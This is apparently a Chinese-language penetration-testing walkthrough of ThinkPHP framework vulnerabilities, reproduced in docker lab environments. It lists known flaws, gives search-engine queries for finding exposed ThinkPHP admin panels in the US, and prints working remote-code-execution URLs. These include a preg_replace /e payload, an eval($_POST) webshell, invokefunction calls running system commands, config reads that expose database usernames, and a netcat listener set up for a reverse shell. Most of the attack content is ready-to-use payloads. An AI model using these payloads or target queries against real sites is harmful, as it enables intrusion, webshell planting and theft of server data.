Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms(内容管理系统)就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp 开发的网站。
ThinkPHP2.x 任意代码执行漏洞
ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP3.2.X find_select_delete注入
ThinkPHP3.X order_by注入漏洞
ThinkPHP5.0.X sql注入漏洞
ThinkPHP5.0.10 缓存函数设计缺陷可导致Getshell
ThinkPHP5 SQL注入漏洞&&敏感信息泄露
ThinkPHP5.X order_by注入漏洞
ThinkPHP5.X 远程代码执行
header="thinkphp" && country="US" header="thinkphp" && country="US" && title="后台管理"
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ls
cd thinkphp
ls
cd 2-rce
ls
docker-compose up -d
http://171.16.1.106:8080/index.php?s=/index/index/name/${@phpinfo()}
或者
http://171.16.1.106:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
http://171.16.1.106:8080/index.php?s=a/b/c/${@print(eval($_POST[zsyy]))}
Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞
影响版本:
Thinkphp 5.0.0~ 5.0.23
ls
cd thinkphp
ls
cd 5.0.23-rce
ls
docker-compose up -d
python3 -m http.server 80
nc64.exe -lvp 6666
原理:框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。
影响版本:
ThinkPHP 5.0.5-5.0.22 || 5.1.0-5.1.30
ls
cd thinkphp
ls
cd 5-rce
ls
docker-compose up -d
ip+/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x:
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #命令执行